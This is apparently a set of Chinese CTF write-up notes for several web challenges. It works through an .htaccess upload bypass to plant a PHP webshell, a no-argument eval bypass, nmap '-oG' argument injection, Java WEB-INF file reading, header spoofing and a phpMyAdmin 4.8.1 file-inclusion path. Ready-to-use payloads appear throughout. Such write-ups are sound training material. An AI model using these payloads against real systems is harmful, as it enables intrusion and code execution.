上传.htaccess文件内容为SetHandler application/x-httpd-php
并修改Content-Type:image/jpeg
尝试上传php一句话木马
利用.phtml文件绕过,对应的一句话木马,但是这里后缀名也不能有ph,所以上传图片上去
利用蚁剑连接或者直接命令执行
打开题目就一句flag在哪,直接劝退。。。。发现是git泄漏,想用Githack扒一下源码
GitHack.py 7c893848-5591-44ea-9378-2fa8f86acf2c.node4.buuoj.cn/.git/
扒了个寂寞,想手动去/.git/index下载源码又不知道下载了个什么奇怪的东西(艹,我也太垃圾了)
include "flag.php";
echo "flag在哪里呢?
";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
三个绕过,第一个过滤掉协议,第二个(?R)引用当前表达式,后面加了?递归调用。只能通过无参数的函数,第三个就是一些函数。主要就是通过无参数函数来进行命令执行。
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
scandir() 列出 images 目录中的文件和目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()以相反的元素顺序返回数组。
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码
首先输出当前目录的文件
?exp=print_r(scandir(current(localeconv())));
取反:array_reverse()
取下一个值:next()
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
2.反转加随机数组
反转:array_flip()
随机数组:array_rand()
?exp=show_source(array_rand(array_flip(scandir(pos(localeconv())))));
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
首先是一个nmap的小知识点
namp <?php phpinfo(); ?> -oG 1.php
可以写入一个文件
nmap <?php phpinfo();> -oG 1.php\’
会写成1.php‘ 而不是 1.php
其次这里要搞清楚 escapeshellarg();escapeshellcmd();
两个函数(直接截seebug里的解释)
?host=' -oG 1.php '
这里前面加的’单引号是为了将shell命令分割出来然后执行,如果不加就会被当作参数,后面的’单引号是为了闭合一个函数的’单引号,否则命令会被遗弃
可以用蚁剑连也可以直接到页面进行命令执行,下面是正确传上去的样子
平常都是php的网站,哪见过java的,就算有文件任意读取也找不到地方。找到一个框架和一些目录的介绍
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件
/WEB-INF/database.properties:数据库配置文件
help页面抓包改为POST方式查看web.xml页面
POST /Download?filename=WEB-INF/web.xml
在对应classes目录中查看flag
POST /Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
总体思路就是通过重要信息文件找到flag的地址,然后直接访问就能拿到,这里再一个标签的知识点
<servlet-class> 这个就是指向我们要注册的servlet 的类地址, 要带包路径
<servlet-mapping> 是用来配置我们注册的组件的访问路径,里面包括两个节点
一个是 <servlet-name> 这个要与前面写的servlet那么一致
另一个是 <url-pattern> 配置这个组件的访问路径
<servlet-name> 这个是我们要注册servlet的名字,一般跟Servlet类名有关
举个例子
<servlet>
<servlet-name>LoginServlet</servlet-name>
<servlet-class>com.breeze.servlet.LoginServlet</servlet-class>
</servlet>
参考文章
burp抓包添加X-Forwarded-For头赋值为127.0.0.1,发现IP更改
尝试模板注入
直接cat flag*
,虽然是假flag但是找到了源码。
这里能发现CLIENT-IP与X-Forwarded-For都可以控制输入
进入环境试了一下robots.txt,发现phpinfo.php。尝试了一下phpmyadmin,发现确实存在这个页面。其实这里考察的是phpmyadmin4.8.1后台任意文件包含漏洞
phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../flag